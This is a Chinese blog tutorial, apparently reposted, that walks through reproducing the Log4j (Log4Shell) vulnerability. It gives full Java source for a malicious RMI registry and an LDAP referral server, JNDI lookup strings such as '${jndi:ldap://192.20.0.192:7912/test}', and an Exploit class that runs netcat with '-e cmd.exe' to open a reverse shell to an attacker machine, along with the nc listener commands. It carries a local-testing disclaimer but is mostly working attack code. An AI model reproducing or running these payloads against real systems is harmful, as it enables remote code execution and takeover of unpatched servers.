Log4j 漏洞复现

Log4j 漏洞复现,第1张

Log4j 漏洞复现

漏洞说明:

前端时间 出现这个漏洞,各大公司 安全部都去做相应的防护和修复措施,网上公开漏洞 poc 源码很少,只听到有,但是不知道怎么复现,于是在github 上搜索找了很多的源码,都不能复现。因为不是很懂这个漏洞的攻击原理。然后就静下心来看了好多相关的文章,于是就写了代码来复现这个过程。

郑重说明:请将代码用于本地测试,研究,不要用于非法用途。   

第一个Demo:

开发工具:

1. Intellij IDEA         

   下载连接:http:// Download IntelliJ IDEA: The Capable & Ergonomic Java IDE by JetBrains

2. jre-8u91-windows-x64    

链接:https://pan.baidu.com/s/1D-uz1LRVDVmu_FGtjSWL_w  提取码:qrnx     

jre 说明:我这里直接使用的是jre , 解压 配置环境变量就能用,要比jdk 方便,jdk 就是需要安装,在配置环境变量的,

使用java 远程代码执行框架 rmi 来复现 Log4j 的漏洞;

整个工程是一个java Maven  工程,主要有3个类。

第一步:首先在本地起一个RMIServer  服务,代码如下:

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class RMIServer {
    public static void main(String[] args) {
        try {
            // 本地主机上的远程对象注册表Registry的实例,默认端口1099
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            System.out.println("Create RMI registry on port 1099");
            //返回的Java对象
            Reference reference = new Reference("EvilCode","EvilCode",null);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            // 把远程对象注册到RMI注册服务器上,并命名为evil
            registry.bind("evil",referenceWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

第二步:应该从上面的代码中可以看到用到了反射 ,去反射了一个 EvilCode 类,那我们就创建这个类,其实这个类就是一个恶意的java 类对象,里面执行了打开本地 计算器,代码如下:

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;


public class EvilCode {
    static {
        System.out.println("受害服务器将执行下面命令行");
        Process p;

        String[] cmd = {"calc"};
        try {
            p = Runtime.getRuntime().exec(cmd);
            InputStream fis = p.getInputStream();
            InputStreamReader isr = new InputStreamReader(fis);
            BufferedReader br = new BufferedReader(isr);
            String line = null;
            while((line=br.readLine())!=null) {
                System.out.println(line);
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

第三步:就是创建一个类去执行,可以把这个类当作被攻击机,这个漏洞的原理我就不解释了,现在网上也有很多的文章说明,我就不赘述了。代码如下:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        //有些高版本jdk需要打开此行代码
        //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

        //模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1
        String username = "${jndi:rmi://127.0.0.1:1099/evil}";
        //正常打印业务日志
        logger.error("username:{}",username);
    }
}

这样子这个代码就完成了,我们来看看效果,想看调用堆栈的,可以用debug 来运行,在   

logger.error("username:{}",username); 这个行下一个断点,F7 进入里面 ,就能看到里面怎么调用,怎么利用的.

源码下载:https://pan.baidu.com/s/1m73eLXOQ7ihZ0RNcpsAv6g 
提取码:2sr1  第二个Demo:
 

开发工具:

1. Intellij IDEA       

  下载连接:http:// Download IntelliJ IDEA: The Capable & Ergonomic Java IDE by JetBrains

2. phpstudy 

Windows版phpstudy下载 - 小皮面板(phpstudy)  下载连接:Windows版phpstudy下载 - 小皮面板(phpstudy)

3. jre-8u91-windows-x64    

链接:https://pan.baidu.com/s/1D-uz1LRVDVmu_FGtjSWL_w  提取码:qrnx 

说明:第二个demo 对jdk 的版本有要求,需要低于  1.8_121 以下的版本,所以我java 环境里面选用的是 91的版本。

4.  netCat       简称nc   用做反d shell  

链接:https://pan.baidu.com/s/1jUGgeP32g1QoKS16tqL1AA 
提取码:988x 

不会的玩的自行百度,这里只用到两条命令;

// 攻击机 
nc -lvp  6655   


// 被攻击机 
nc  攻击机ip  6655 -e  C:windowssystem32cmd.exe    



反d成功之后,会再攻击上显示被攻击机的磁盘目录

这种要比第一种玩法高级,用 ldap 来实现的, ldap 可以理解为一个数据目录,首先要感谢以下B站的一个作者,这里看不懂的可以去看看B站的视频,也讲了修复方法。

链接:Log4j高危漏洞!“漏洞复现”,全网第一!包含【修复】持续更新~_哔哩哔哩_bilibili

我在博主的代码基础上加了一个 shell  反d,将代码用两台window  电脑来 *** 作复现漏洞,这里再次强调,不要用于非法用途,请遵守国家网络安全法律法规。

环境搭建: 这里 跳过了 Intellij IDEA  的安装 和 jdk  环境变量的配置,不会的自行百度,这是Java 开发的基础。

攻击机上的 *** 作:

首先我们看一下攻击机的代码:创建一个 LDAPRefServer 的服务。

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPRefServer {

    private static final String LDAP_base = "dc=example,dc=com";

    
    private static final String EXPLOIT_CLASS_URL = "http://192.20.0.192:80/#Exploit";

    public static void main(String[] args) {
        int port = 7912;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_base);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getbaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            try {
                URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
                System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
                e.addAttribute("javaClassName", "Calc");
                String cbstring = this.codebase.toString();
                int refPos = cbstring.indexOf('#');
                if (refPos > 0) {
                    cbstring = cbstring.substring(0, refPos);
                }
                e.addAttribute("javaCodebase", cbstring);
                e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
                e.addAttribute("javaFactory", this.codebase.getRef());
                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }catch (Exception er){
                System.out.println("========sendResult======="+er.getMessage());
            }

        }

    }
}

这里需要说明的, Exploit.class  这个文件在那台电脑上,就将那台电脑的 ip 填写在如下代码 位置

private static final String EXPLOIT_CLASS_URL = "http://192.20.11.192:80/#Exploit";

再创建一个 Exploit   

import java.io.IOException;

public class Exploit {
    static {
        try {
//            Runtime.getRuntime().exec("calc");
            Runtime.getRuntime().exec("D:\InstallPackage\netcat-win32-1.12\nc.exe  192.20.0.192  6655  -e  c:\windows\system32\cmd.exe ");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

这里需要修改的是 当前你自己的 nc 路径,和本机的  ip. , 大家可能对这个ip   不理解,就是 将其另一台电脑的目录反d给自己。

攻击机的代码完成了,编译生成class. 文件,我们可以把 .class   称为恶意脚本。

我们配置好jdk 环境变量的就可以用cmd  来编译 java 文件了,我们cd  到  Exploit.java  的目录

执行如下命令:就编译生成一个 Exploit.class  文件。

javac  Exploit.java 

接下来:运行小皮,点击  首页  ,开启一个 http  server  的 80端口 的服务。

 在打开  网站  点击 管理 ,选在  打开目录, 将上面 生成的 Exploit.class   放在目录里面

 再打开一个 cmd   数据 攻击机 的 端口 监听   nc -lvp  6655  

 受害机上的 *** 作:

 代码很简单,就是用Log4 的 error 来输出

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4J {
    private static final Logger logger = LogManager.getLogger(Log4J.class);

    public static void main(String[] args) {

        logger.error("${jndi:ldap://192.20.0.192:7912/test}");
    }
}

结果会在我们自己的 电脑上显示受害机的目录:

我们输入   dir  就能查看对方的磁盘目录。 

源码下载: 链接:https://pan.baidu.com/s/1J8fAtmWWvpnexXMxJ3Nugg 
提取码:ahpg 

总结:这只是Log4j 这个漏洞的利用的冰山一角,想想都可怕,希望看到的早做修复。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5677237.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-17
下一篇 2022-12-16

发表评论

登录后才能评论

评论列表(0条)

保存